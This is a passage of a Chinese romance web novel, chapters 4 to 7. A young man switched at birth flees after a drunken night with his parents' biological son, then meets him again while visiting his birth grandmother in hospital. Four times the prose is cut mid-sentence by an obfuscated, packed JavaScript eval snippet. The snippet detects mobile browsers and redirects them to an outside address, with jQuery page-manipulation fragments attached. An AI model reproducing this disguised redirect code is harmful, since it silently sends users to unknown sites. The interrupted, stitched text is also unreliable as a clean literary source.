听见他平静到甚至有些冷淡的声线,程知蘅隐隐又觉得有点绷不住了。 为什么只有他一个人在崩溃?祈琰为什么不崩溃? 程知蘅很想退缩,但还是强撑着开口:“哈哈,好巧,怎么会是你。” 祈琰的嗓音又低又冷,他没回答第一句话,只说:“确实很巧。” 虽然没有正对着他的脸,但程知蘅莫名觉得他是面无表情的。 “说起来,我们俩还没有正式见面……”程知蘅小心翼翼,“我刚在想,昨晚的事情毕竟是一个意外。” “既然是意外,那我们,能不能…忘掉昨晚发生的事?就当它从没发生?” 祈琰:“……” 出乎程知蘅的意料,他没有多问一句,只是很干脆地答道:“好。” 依旧惜字如金。 多说一句话会要了这个人的命吗?程知蘅更崩溃了。 他觉得自己完全没办法继续在这个房间里待下去,更没办法装作什么都没发生,和浴室里的男人以及自己的父母同桌吃饭了。 所以,当程知蘅回过神来的时候,发现自己已经驾车开上了高速。 他在哪儿,要去哪儿,完全没有头绪。 他只是想要尽快逃离犯罪现场,越快越好。 他点开屏幕上的常用通话号码,没过几秒,另一边传来一个模糊的男声,对方很显然没起床:“程知蘅,大半夜的你什么情况?出车祸了?” 程知蘅扫了一眼时间,中午十一点半。对于邹柏宇这种昼夜颠倒老鼠人而言,的确是黄金睡眠时间了。 程知蘅还在崩溃状态:“我完了老邹,我有点不行了,你能不能收留我两天?” “你不是这几天住银天吗?来我家干什么?”邹柏宇没睡醒外加一脑门子问号,“你爸妈把你赶出来啦?不能呀?” 邹柏宇是程知蘅的发小,从小学到高中,两人最远也在隔壁班。两家家长也认识,经常到对方家里玩。 程知蘅家里出事,邹柏宇是最早知道的那一批人。他为人虽然相当不靠谱,好在大事上能冷静思考,当时和情绪崩如溃的程知蘅打了四五个小时越洋电话,把人哄睡着了才挂断。 和邹柏宇相比,程知蘅就相当乖宝宝了,和爸妈吵架都是很少有的事情。所以他绞尽脑汁也想不出来别的原因。 “太复杂了,我能到了你家和你说吗?”程知蘅声音已经从崩溃转至麻木,听不出情绪了。 邹柏宇:“可我现在没在家呀,我在王净旻这里。”王净旻是邹柏宇女朋友。 程知蘅惨兮兮问:“那你什么时候回来啊……” “睡醒了才会回……你究竟什么事?电话里不能说?” 程知蘅沉默了很久,吐出三个字:“我完了。” 一个一辈子顺风顺水的人一下碰见不可调和的巨大挫折有可能会情绪崩盘,做出什么都有可能,邹柏宇一直担心程知蘅的精神状况。 听见他说出这三个字,邹柏宇的瞌睡彻底醒了,他着急忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984468|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌问:“完了?怎么完了?又是你们家那事情?我告诉过你很多次了老程,你放一万个宽心,你爸妈那么疼你,你们关系那么好,担心什么?我早就说过……” 做起人生导师来,邹柏宇会没完没了,程知蘅赶紧打断他:“不是这个事情。” “所以是什么?” 程知蘅极力想保守秘密,沉默许久后道:“有点一言难尽……” 他这么说,倒像是卖关子。邹柏宇急了,催促道:“你说啊!” 程知蘅的理智告诉他不要随便把这种离谱至极的事情放到台面上来说,可是这种千年难遇的倒霉经历几乎要摧毁他。如果不倾诉给别人,能把他逼到爆炸。 所以一个没过脑子,程知蘅竟然把事情顺出了嘴。 他干巴巴道:“简单来说,我和我爸妈的亲儿子睡了。” 电话那头安静了足有十秒。 邹柏宇:“………什么?” 程知蘅:“你不要逼我说第二次。” 邹柏宇榆木脑袋根本没听懂,又是一阵死寂沉默后他再度开口:“这是什么情况,我没听懂,水仙吗?” 程知蘅:“?”水仙是什么。 他忍无可忍地挂断了电话。 挂了电话之后他微信开始叮叮叮的往外弹消息,程知蘅瞟了一眼,是邹柏宇瓜吃到一半在那里发癫。 邹柏宇:我刚没听清,你说你和谁睡了? 邹柏宇:快说快说快说 邹柏宇:我靠我是真没想到这辈子还能吃到你的瓜 邹柏宇:[动画表情] 邹柏宇:快说快说快说 程知蘅:。 他长叹一口气,单手握方向盘,按住语音按钮,一字一顿道:“我爸妈的、亲、儿、子。” 邹柏宇:?????? 我靠。 5. 第 5 章 邹柏宇立马一条语音发了过来,语气三分焦急三分震惊四分隐隐的兴奋:“我以为你是直的??” 程知蘅欲哭无泪:“我是啊……我昨晚喝酒了。” 邹柏宇:“所以你们这是…酒后乱性?” 程知蘅现在无比后悔和邹柏宇这个没正经的说了这件事。 他也不知道该怎么回答,于是直接无视了这条消息。 好友那里是去不了了,家也不能回,程知蘅大脑乱得一片浆糊,把手机调成飞行模式,音乐声跳到最大,随手点了车载导航上的一个曾搜索的地名,选择彻底逃避现实。 于此同时,程家。 程馥文坐在沙发上不停看表,嘴里念叨着:“乖乖怎么还没回?程修永,給他打个电话啊,我看他不会接我的。” 菜已经上桌了,程父正在阳台浇花,闻言回过头来正要答话,门铃却在此时响起。 程父双眼一亮,擦了擦手就小跑去开门。 “怎么才到呀,菜都上桌了——” 程父的话音戛然而止,只见门口只站着一身黑衣的祈琰,天气挺热,他的外套领口却拉得很高,隐隐有些不自然。不过程父程母没有第一时间注意到这些。 “乖……程知蘅呢?他没和你一起来?” “我见到他了,但他……临时有点事情,所以没和我一起过来。”祈琰微微拧了拧眉,问,“他还没到?” 听到二人的对话,程馥文已经快步走了过来。 听到祈琰说的话,她脸上原本的期待瞬间转为担忧:“什么事儿这么急?他没说去哪里?” 她说着就拿出手机拨打程知蘅的电话,听筒里传来冰冷的关机提示音。 程修永眉头紧锁,换成微信电话也拨了一遍,结果同样。 两人的脸色都沉了下来。 程父放下手机,语气凝重:“这孩子……” 整个屋内此时都飘着饭菜的香气。程父程母提早问过了祈琰爱吃的,除了他爱吃的菜,其余桌上的菜都是保姆徐阿姨特意程知蘅小时候爱吃的口味准备的。他离家许久,徐姨也一直念叨着。 然而此刻,这些精心烹制的菜肴摆在桌上,都显得没了滋味。 祈琰站在玄关,看着程母脸上难以掩饰的失落和程父眼中的忧虑,喉结微不可察地滚动了一下。 宽阔明亮的别墅,屋内饭菜香气和恩爱父母的对白,对他而言,都早已是难以回忆起的前尘旧事。 现在,这个原本完整、幸福的家,又因为他的到来、他的错误而破裂。说到底,他们才是一家人,他原本就不该出现。 祈琰的眼神微不可查黯淡了一点。他又一次不太自然地拉了拉外套领口,遮住了下颌处一小片不甚明显的红痕——那是几个小时前,在程知蘅伏在他的怀中,指甲不小心划过的痕迹。 程知蘅为什么缺席,他心知肚明。 但发生了什么,他实在没法说。 “小琰,快进来!”程馥文的声音忽然在耳侧响起,她像是竭力想显得轻松点,此时已经恢复了看起来自然的笑容,“程知蘅他是被我们惯坏了,别理他,我们先吃,不然菜都要凉了。” 祈琰摇了摇头,目光扫过那一桌丰盛的,却注定无人好好享用的饭菜。 “不了,”他低声说,“我也不吃了。” 程修永看向他:“怎么了?都来了为什么不吃?是不是哪里不舒服?” 此时,他才终于注意到祈琰过高的领口和略显苍白的脸色。 “我没事,”祈琰垂下眼睫,“奶奶一个人在医院我不太放心。她下午有个检查,我早点去也好陪着。” 这是真话,但显而易见是个提前离开的托辞。程馥文张了张嘴,似乎想挽留,但最终只是叹了口气:“也好……是该回去照顾老人家。不然……妈妈陪你一起过去?” 她说“妈妈”两个字的时候,闪过了一刹那的不自然。 她盯着祈琰那与程知蘅相比过于冷淡沉稳的神色,心里漫上一丝若有若无的钝痛。 她这个本该捧在手心里,好好爱护长大的儿子,是怎么养出这样的性子的?疏离、冷淡,又懂事……他吃了很多苦吗? 她在这个瞬间有很多话想问,然而情绪还没找到出口,却被先开口的祈琰打断了。 “不用了,您不是之前已经去过几次了吗,这次我自己去就好。您慢慢吃,等改天知蘅有时间,我们再约着好好吃顿饭。” 他声音很低,脸上挂着一点显而易见仅是礼貌性质的笑容。虽说显得冷淡,但一言一行没有不得体的。 见他懂事,程馥文也说不出别的话,只好点了点头:“那,路上小心。到家了一定给我们发个信息。” 她的语气里带着些不易察觉的失落,两个儿子,一个不知所踪,一个即将离开。 祈琰点了点头,没有再看那桌菜,也没有再多说什么,转身离开了程家。 他还没跨出门槛的时候,程馥文追了过来:“小琰!” 祈琰扶着门框回过头,冷冷清清的样子。 程馥文脸上依旧挂着那个亲切的笑:“小琰,如果你回家路上见到程知蘅,或者听到他什么消息,给我发个信息,行么?不知道他去哪儿了,我有点担心,他知道你家地址,我想着,或许他会想回去……看看奶奶。” 她越说声音越小,心里莫名觉得,太过关心程知蘅像是有些亏欠了祈琰似的。 祈琰像是没看出她的纠结,他点了点头,没说多的话,反身关了门。 前些日子下雨,楼道里的窗户关上了,此时光线有些昏暗。从门里跨向门外,像是跨越晨昏界限。 走到阴影处,祈琰的神色立刻冷了许多。 他的脸上说不清是什么表情,好像只是低气压,又好像有些厌倦。他仿佛在走出门这一个刹那才变回他自己,方才脸上那点笑意也只是矫饰的面具。 他偏头看了看窗外,方才还挺好的天气忽然显得有点阴,空气里多了些燥热,风雨欲来。 昨夜那些混乱的纠缠瞬间在这个瞬间忽然涌入他的脑海,那些灼热的吻和肌肤的碰撞,全在方才程母关切的目光中被照得无处遁形,祈琰狠狠合了合眼,觉得太阳穴从没这么痛过。 他伸手很用力按了按额头,也没能够缓解疼痛。 他确实该早点回去了,这里很好,程父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984469|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程母也很好,但毕竟不是他的家。 一早上到现在滴水未进,祈琰也不怎么觉得饿,他出门就直接打车去了医院。 等到祈琰走到病房门口的时候,他奶奶正巧睡着了,他不想吵到奶奶午休,于是买了盒饭到楼下吃午饭去了。 这真是个巧妙的瞬间。 祈琰刚从医生办公室走出来,端上了放在桌子上的盒饭,从451病房门口路过,隔着门看了一眼老人熟睡的脸,紧接着下了楼。 下一秒,另一侧的电梯门“叮”的一声打开,一个显得有点鬼鬼祟祟的身影从里面钻了出来。 好巧不巧,正是午饭缺勤,不知所踪的程知蘅同学。 他鬼鬼祟祟探了探脑袋,确认了这里是4楼后,蹿到了问询台,瞪着大眼睛问:“医生您好,想问问451病房往哪边走?” 值班的护士伸手指了个方向。 程知蘅点头道了声谢,又问道:“请问是不是有位徐秀珍女士住在451病房?” 护士翻了翻记档,答道:“是的。” 程知蘅赶忙往病房的方向走过去,仔细看,他还微微有点一瘸一拐的。 早上的时候他一直太过亢奋,虽然浑身从上到下从里到外都感觉不对劲,但也没太放在心上。现在终于稍微喘过气来有空思考后,他才觉得伤处隐隐泛起痛来。 程知蘅暗暗叫苦,却也是一万个不好意思看医生。 刚才他无处可去,随便点的导航地点,正是奶奶的医院住所。 先前他从父母处得知,他的亲生奶奶徐秀珍现在正住在第一医院住院楼的451病房,让他可以抽空去看看。毕竟,这是他世上唯一剩下的血脉相连的亲人了。 得知消息的时候他正开车,等红绿灯的时候在车载导航中输入了医院地点,当时却没来得及去。直到刚刚,脑袋乱得一塌糊涂的时候,也不知为什么,他忽然想起了要来医院看看奶奶。 走到病房门口的时候,程知蘅却忽然不敢往里走了。 除了他的姥爷因病在他出生前就已经过世,其他三位祖父祖母都健在,且身体都还不错。虽然也有基础病,但都没有严重到要常住医院的程度。独自来住院部探望亲人,于他而言是第一次。 更何况,病房里住着的是他从小到大都没见过一面的奶奶。 他透过病房门上那一个小小的窗往里看。玻璃有些模糊不清,病房里面有着三个床位,中间的那一个空置着,靠外的这张床上一位老太太正坐着,她身边坐着个中年女人,大概是她的女儿。 剩下的最后一个床上,卧着一个瘦小的老人。她头朝着窗外,安静侧躺着,像是睡着了。 窗外遍布绿意,此时天色阴阴的,却仍照得绿叶间光影交错,微微投入室内,像彩铅静物画。 程知蘅心内轻轻一动,他莫名知道,躺着的那个人一定就是他的奶奶。 他正要去握门把手,身后却传来一声低沉的声音:“你怎么会在这儿?” 那声音冷冷的,低沉好听,却吓得程知蘅脊背一凉。 他被吓了一个激灵,猛地一回头,就这样正正对上了祈琰那双深不见底的黑眼睛。 6. 第 6 章 冤家路窄。 祈琰很高,站在程知蘅面前,几乎挡住了灯光,在他面上投下一片阴影。 程知蘅抿了抿唇,向后退了一步。 “我我我我……”程知蘅语言系统大崩溃,也不知道说了多少个“我”字,也没回答出自己为什么在这里。 他觉得自己嗓子有点隐隐发痒,不知道是紧张的还是什么其他原因。 他真是过于倒霉——才刚刚从人眼皮子底下逃出来,还特意选了一个出其不意的目的地,怎么会还是被抓包了? 祈琰脸上没什么表情,没得到答案,似乎也没打算兴师问罪。 对于程知蘅的慌乱,他似乎毫无好奇心,就这么静静看了程知蘅几秒,最终淡淡道:“麻烦让一下。” 大概是平生还没人这样冷漠地对待过程知蘅,或许是觉得这个昨夜还在缠绵悱恻的人不该今天用比陌生人还疏离的眼神看着他……总而言之,这淡淡的两个字一落下,程知蘅心里就忽然一股无名火。 程知蘅瞟了祈琰一眼,不可置信地开口:“你就不认识我了?” 祈琰默然片刻,抱臂打量了他几秒:“我以为你不会希望我认出你?” 此时的程知蘅满脑子一团浆糊,已经全然忘了两个小时之前是自己喊人“当昨晚的事情没发生”。 他眨巴了两下眼睛,终于想起这桩事情。 程知蘅咬了咬嘴唇,觉出一点尴尬来。他干笑了两声:“你们午饭就吃完了?” 祈琰往后退了两步,结束了这个把人堵在墙角的姿势,道:“你没回去,午饭取消了,我来照顾奶奶。” 他抬腕看了看表:“你还没吃饭?” 程知蘅的肚子不合时宜响了一声,他叹了口气:“还没来得及。” 刚才还不可一世地兴师问罪,现在有显得多少有点可怜,祈琰看着他:“你爸妈让我找到你就给他们打电话,他们挺担心你的。” “我没事儿。我只是不想回去。” 程知蘅本来是想直接去家里的另一个房子,但是院子里都有监控,又怕被爸妈发现,现在实在不知道该去哪里,朋友里好几个没回国,回国的不是在陪女朋友就是在睡觉,他一时脑热逃离了酒店,现在连个躺下来点外卖的地方都找不到。 他忽然一个激灵,瞪大眼睛问祈琰:“你不会是向他们要告密吧?” “你想我告诉他们吗?” 程知蘅开始疯狂摇头,像个电动小风扇。 祈琰闻言“嗯”了一声,想了想,说:“你没地方去的话,晚点回我家吧,严格来说是你家。” 程知蘅没料到他这么爽快地帮了自己一个忙,一时没说出话来。 祈琰的态度依旧不冷不热的,很公事公办地说:“等奶奶午睡醒,我陪她做一个检查,然后再回去。她这阵子总念叨你,你陪她说说话也好。” 程知蘅双手合十放在胸前,眼神都亮了:“我的天,感谢你。” “但我有个条件。” “什么?” “我跟你爸妈发消息,说明天回去。” 程知蘅注意到他说的是“你爸妈”,而不是“我爸妈”。但他这时候没空计较这个,刚才亮起来的眼神又黯下去了:“晚点不行吗?” 祈琰顿了顿,叹了口气后说:“程知蘅,躲得过初一躲不过十五啊。” 这是他第一次喊程知蘅的名字,尾音很低,莫名带点缱绻。他说正经话的时候不给人说教的感觉,似乎只是有感而发,听得程知蘅心里一动。 他思绪忽然飘乎起来,想到,如果不是祈琰这人的神色总显得淡淡地没兴致,让人觉得距离遥远,想必一定很多人追才对。 以及,为什么这个人明明和他同岁,无论是为人处事还是气质看起来都比他成熟那么多? 想到这里,程知蘅认真反思审视了一下现在自己的处境。 祈琰的语气没有商量的意思。 严格意义来说,现在自己是外人,今后再让人家一家人迁就自己改时间、迁就自己的坏脾气和任性,实在是不应当。 他虽然觉得父母不可能就此丢下他不管,却也明白现在自己不能再任性。 想到这里,程知蘅点了点头,妥协了:“好,那就明天吧。” 他微皱着眉,心想,或许今后,不顺意的事情只会越来越多。一顿饭而已,死不了。 奶奶还没醒,两人在门外的长椅上坐了下来,祈琰低头回邮件,程知蘅则坐在原地抓头发。 好在他的情绪来得快去得也快,没一会儿就把自己哄好了。 程知蘅自来熟,坐在长椅上就开始捞住祈琰唠起家常:“说起来咱们也算第一次见,你在哪个学校读书呀,读什么专业?” 祈琰报出个很知名又难考的学校名,以及一个冗长的理工科专业方向,程知蘅听得满脸敬意,直呼厉害。 “所以你现在是读大四吗?准备读研么,还是工作?” 程知蘅在国外念的本硕,本科三年硕士一年,换算成国内才大四,所以理所应当这么推测。年轻人里刚见面,small talk无外就这些话题。学历、住所、专业。 祈琰摇了摇头,答:“没有。我早一年念书,开学研二了。” “嚯!好厉害!”程知蘅很真诚地夸,“你成绩肯定特好,高中没少吃苦吧。” 祈琰低垂了一下眼睛,声音又冷了。 他想了想才回答说:“很久了,我不记得了。” 程知蘅捕捉到他神色一刹那的不自然,这才想起来,五年前,正是祈琰高中的时期,他的父母意外去世了。 真该死啊,程知蘅在心里给了自己一巴掌。 他一不说话,空气又沉默了。 在这个时候有医生推门进病房,于是祈琰起身跟了进去。进门前他看了一下程知蘅,某一刹那像是要说什么,但最终没开口。 门关了,病房里传来对话声,大概是有关病情和近期情况。 程知蘅打开手机,很漫无目的地刷着各个社交软件,给所有的动态都点了一次赞,翻出来才发现自己什么也没看进去。 他心里乱,觉得大脑过载,无法处理过于复杂的人际关系。 回想从前,程知蘅觉得几乎有点恍如隔世。 其实在人生的前二十年,和人相处对他来说都是特别简单的事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984470|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 程知蘅长得好看讨喜,加上脾气好,说话前总眼带三分笑,性格还算乖,认识他的人几乎都本能地喜欢他。他虽然也有讨嫌的时候,但天生不会生气,上次和人有矛盾还得追溯到小学初中。 老天爷像是特意要和他开玩笑,人生前二十年都给他开了简单模式,二十一岁的时候忽然给他下一个大坑,绊了他一嘴泥。 安静了许久,身边的祈琰忽然开口。 “关于昨晚的事情……我知道你现在不想听,但我觉得我欠你一个道歉。” 虽然没有对视,但程知蘅感觉到,说这句话的时候,身旁的祈琰是微皱着眉的。 只有几面之缘,他却莫名已经能够透过声音推测他的神情,就好像认识了很多年一样。 思绪一飘,他又想起前一天晚上的一些碎片,这一下将他拉回现实。 不等祈琰说下去,程知蘅赶忙连连摆手,一副如临大敌的神色:“别说了别说了!” “既然我们决定当这件事没发生过,那么之后都别提了。这事儿也有我的责任……我决定之后都不喝酒了!”他语速变得很快,显然是很慌乱,声音也拔高了些。 说完这些,他试探性地抬眼去找祈琰的视线,直到两人对上目光,他才又补了一句:“行不行啊?” 他尾音软了些,抬眼盯着祈琰的样子显得有点楚楚可怜,和昨夜的样子有点像,带点娇。 从小被宝贝着长大的孩子,偶尔就会流露出这样的神色。祈琰侧目瞥了他一眼,目光停留时间比正常值微不可查多了些。 对于祈琰而言,这样神色给他的感觉很奇异,让人凭空想起冰淇淋、小孩儿和游乐园,他觉得自己的身上好像从来没有出现过这样的色彩,也很久没有人用这样的语气和他说话。 他长时间不说话,程知蘅的眼神显得黯淡了一点。他微微垂下长睫毛,像是在思考自己刚才说错的话。 祈琰在这个时候站起身来:“好。你不想听,之后我都不提了。” “是是是,”听见祈琰答应,程知蘅大大地松了口气,又开始口无遮拦起来。 “反正这种事也挺正常的对吧,很常见的,不用放心上。咱们原先也不知道谁是谁,今后我一定会更小心,绝不喝多了……” 他一放松,话又过于多了,身旁的祈琰闻言又微微皱了皱眉,但等程知蘅停下话头,他又没有说话。 他只是不咸不淡“嗯”了一声,像是没什么情绪,转头后低声说:“我们进去吧。” 接着,他推开了门。 话头掉到了地上,无形里发出一声发闷发钝的轻响。 程知蘅感觉到自己貌似说错了话,却又不知道说错了哪一句。 他垂目,显得又有点走神。 这时候病房传来“吱呀”一声,祈琰撑着门,露出很清晰的小臂线条。他高挑劲瘦,侧着脸看过来的时候显出清晰的轮廓,只一打眼就很难挪开目光。 他眼皮很薄,此刻冷冷淡淡掀起来,目光锁在程知蘅的身上。他不咸不淡问:“你来不来?” 真奇怪。明明是这么淡的一个人,和他对上目光,程知蘅却凭空觉得室内温度升高。 7. 第 7 章 进门的时候奶奶已经醒了。 病房里弥漫着一股熟悉的消毒水的气息,程知蘅跟在祈琰身后,脚步有些迟疑,手心微微出汗。 病床上,一位头发花白的老太太靠在枕头上,脸上布满沟壑般的皱纹,皮肤因长期卧病而显得蜡黄。乍一看,程知蘅感觉她看起来比自己的奶奶和外婆都要苍老许多。 她的双目微微有些不聚焦,眼神有些浑浊,但一看见两人进来,立刻浮现出温柔的笑意。 “小琰来啦!”奶奶的声音有些沙哑,却依然温和。 祈琰轻轻点头,走到床边调整了一下枕头的位置,动作相当熟练。 此时,她的目光落在了祈琰身后、站在一边的程知蘅身上。她的双目像是花了点时间对焦,微微怔了一下。 “奶奶,这是知蘅。”祈琰简短地介绍,语气平淡,“他刚回国,今天特意来看您的。” 程知蘅上前一步,喉咙有些发紧。 他看着这位素未谋面的亲奶奶,心里涌起一阵难以名状的感受。毕竟,他从前从没想过自己会有一位二十多年素未谋面的至亲。血脉相连,却至今才得知。 “奶奶好。”程知蘅牵起唇角,努力扬起一个惯常的明亮笑容,却隐约透着一丝僵硬。 奶奶静静地端详着他,她眼神柔和,缓缓抬起布满斑痕的手,程知蘅连忙上前握住。那只手很瘦,粗糙,几乎只剩皮包骨。 “好孩子。”奶奶轻轻捏了捏他的手指,目光在他脸上流连,“长得真像……”说到这里,她眼神一黯,顿了顿,又扯出一个温和的笑容,“听琰琰说,你在x国念书,那么远啊!刚回来,累不累?” 只是很简单的话,但老太太实在太温柔,程知蘅眼眶微微发热。 他摇摇头,在床边的椅子上坐下,依然握着奶奶的手:“不累,奶奶,我早习惯啦!奶奶您感觉怎么样,有没有好一点?” “好多了,看到你们就都好多了。”奶奶笑着,目光在两个孩子之间来回移动,“真好,真好。上次见到带你长大的爸爸妈妈,都是好人哪,把你带得这么好。你看,这么白。” 她说完,又笑着问:“知蘅吃饭了没有啊?” “我吃了,奶奶。”程知蘅笑着扯谎,没有一点痕迹。 “真好,”她又继续笑,对着祈琰说,“性格也好,小琰啊,你多跟弟弟学,平时要多说话!别总闷着,冷冰冰的。” 祈琰闻言很轻地笑了,他盯着奶奶:“好了,奶奶,你多和亲孙子说话吧,别总数落我了。” 奶奶闻言笑得很开心,又握紧了程知蘅的手:“他性子冷,不爱说话,你可别介意。” 老人年纪大了不可避免有点糊涂,思绪也跳跃,她依旧握着程知蘅的手,开始絮絮叨叨地说:“别人都说我不好啊,这么多年养个别人的儿子,可我自己才知道好呢。他爸爸妈妈都不在了,我本来一直担心,等我过世了,谁照料他呢?现在知道多几个人疼他,这才放心啊。上次我和你们爸爸妈妈说了好多,知道他们会好好带着你们两个人,我就死了也放心了。” 祈琰站在窗边,闻言淡淡地往这个方向看过来一眼。眼睛里有点空,像是没有情绪。 “我们知蘅看起来是很懂事的孩子啊,小琰啊,之后帮奶奶多照顾弟弟,好吗?”老人继续说着,又把目光看向程知蘅,满眼慈爱。 她的声音越来越小,似乎只是说给自己听的,但程知蘅依旧听清了。她喃喃着在说:“多好的孩子,当年怎么就抱错了呢。”她浑浊的眼眶微微有些湿润,声音也有些颤抖。 程知蘅这时候回头看向祈琰,后者则躲过了他的目光。 他走上前来,低头对奶奶说:“奶奶,你休息下好了,别说了。” 奶奶欣慰地拍拍他的手背:“没事儿,奶奶不累,你回学校吧!别耽误学习啊。晚上带知蘅出去吃点吧,他太瘦。”说完她又问程知蘅:“是不是国外的饭菜不合胃口啊?等奶奶出院给你做。” 程知蘅笑着点点头。 祈琰瞥了一眼手表,凑在奶奶耳边说:“到点了,我们过去吧。”他们下午约了检查。 奶奶点点头,有些不舍地松开程知蘅的手:“好孩子,多吃点东西啊,记得!” 程知蘅连忙起身:“我陪着一起去吧!” “有小琰在就行。”奶奶温和地说,“你在这里休息休息,看看电视。” 祈琰已经熟练地扶起奶奶,为她披上外衣,整理好输液管。他的动作干净利落,显然已经重复过无数次。 程知蘅站在原地,看着祈琰小心翼翼地搀扶着奶奶向门口走去。奶奶走到门口时,又回头对他笑了笑。 病房门轻轻合上,脚步声渐远。 突然安静下来的房间里,只剩下消毒水的气息和窗外隐约传来的车流声。程知蘅缓缓坐回椅子上。 分明是很简单的几句对话,他却忽然觉得有点累,头脑发晕,不知道是不是昨晚宿醉又没吃东西的原因。 他本来想点个外卖,结果一来一回饿过了头,都没什么食欲了,于是只是在原地找地方坐下来,安静地等他们回来。 期间他听见隔壁床位的老太太在和探病的儿女聊天,小声说起隔壁病床的祈琰一家:“我隔壁床的,啊唷,命苦啊,就一个儿子,前几年和媳妇出车祸都死了,就留下一个孙子……” “……他们孙子倒是懂事,总是陪着。就是不说话也不爱搭理人,冷冰冰的总板着个脸,不像孩子。” “肯定和父母没了也有关系。”身边的女儿搭了句腔。 老太太忙说:“可不是么……” 听着听着,程知蘅困了。 他觉得眼皮越来越重,头也晕起来。一不留神,竟然就这么在躺椅上蜷缩着睡着了。 直到几位医生和病人在门前都穿梭了好几个来回,太阳西沉,祈琰才推着奶奶回到病房。这时候窗外云雾散开了点,反倒有了点阳光。 他走进房门的时候,透着绿荫的窗前,就是这样看见躺卧的程知蘅。他身上盖着一条薄薄的毯子,在躺椅上蜷缩成一团,像只小猫。 日落前光线的颜色格外浓郁,透过玻璃窗倾泻进来,洒在程知蘅的颈侧,却依然是冷色调的。他瓷白的皮肤在光线下近乎透明,露出青色的蜿蜒血管,很脆弱地攀爬在他的皮肤上。 衣领往下的脖颈上,此刻露出一点微红的印记。 像是某块完美的艺术品上多了一丝裂痕,平白让人觉得易碎,祈琰的眼神缓缓落在他身上,脑海中忽然闪过某个混乱的片段,像被烫了一下一样抽回目光。 祈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984471|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琰先是安顿好奶奶,接着才走到程知蘅身边。 他缓缓蹲下,伸手按了按程知蘅的肩膀,低声说:“醒醒,咱们该回家了。” 程知蘅的睫毛很长,此刻在声音下微微颤动,眼睛很茫然地睁开。 他揉了揉眼睛,很快直起身来:“不好意思,我等着等着睡着了。” “没事儿,我们走吧。” 两人和奶奶道别后便下了楼。程知蘅睡得有点晕乎,也觉得有些不好意思,忙说:“我开车来的,在地下停车场,你告诉我地点就行,我们坐车过去。真不好意思,麻烦你了。” “没事。”祈琰很短促地说,脸上没有表情。 程知蘅的车刚洗过,锃亮,在地下停车场里显得很夺目,只是程知蘅显然状态不佳,出地库的时候忘打转向灯,差点迎面撞上另一辆车。 他后边就不敢开太快了,用很缓慢的速度挪移到祈家,祈琰住一个有点旧的小区,烟火气很重,日暮时分,各家的饭菜飘香。 老小区没什么停车位,程知蘅只好绕远路停到另一栋楼下,再走回去。下车的时候路过的街坊四邻许多都认识祈琰,祈琰一一打过招呼,一路上“叔叔阿姨”没停过。 有个提着一手菜的女人大大咧咧的,才刚和祈琰打完招呼,就和身边的邻居说:“诶你听说没有,就刚路过那个孩子,前阵子查出来,说是抱错了!”她嗓门大,程知蘅跟在祈琰身后,走出了一段还能听见两人的对白。 另一个女人边回头边小声问:“哪个?” 提菜女人“啧”了一声:“高的那个,就住五栋。考了x大的那个,学习可好了,你不记得了?” “哦记得记得,出了车祸的那家?我小时候见过啊,这孩子可俊呢,又高……就是命苦。” “对对对,就是他。” “他被抱错了?天哪,这亲生爹妈可捡便宜了,多好一个孩子。” 提菜女人压低了声线:“我听说他亲生爸妈家可有钱了,看见开进来那辆保时捷没。” 听的人睁圆了眼,点头道:“可说呢,我刚还纳闷来着……” “……” 程知蘅脚步慢了——又一次听见旁人背后议论祈琰,他微微有些不快。 一天里第二次听见“命苦”这两个字用来形容自己的家人,第二次听见素昧平生的陌生人随意将他亲生父母的死亡作为谈资。说不生气那是假的。 他正要回头去看,却在这时候感觉到一双冰凉的手绕过后脑,轻轻悬在他耳侧。 他吓了一跳,猛一回头,整张脸就都这样都落在了祈琰的手心。 在这一刻,他对上祈琰的双眼。 祈琰的双手捂实了些,他脸上依旧没什么表情,手是冰凉的,程知蘅觉得自己几乎能感觉到他分明的指节。 他心跳陡然乱了,被吓得猛一低头,避过了祈琰的视线:“怎么?” 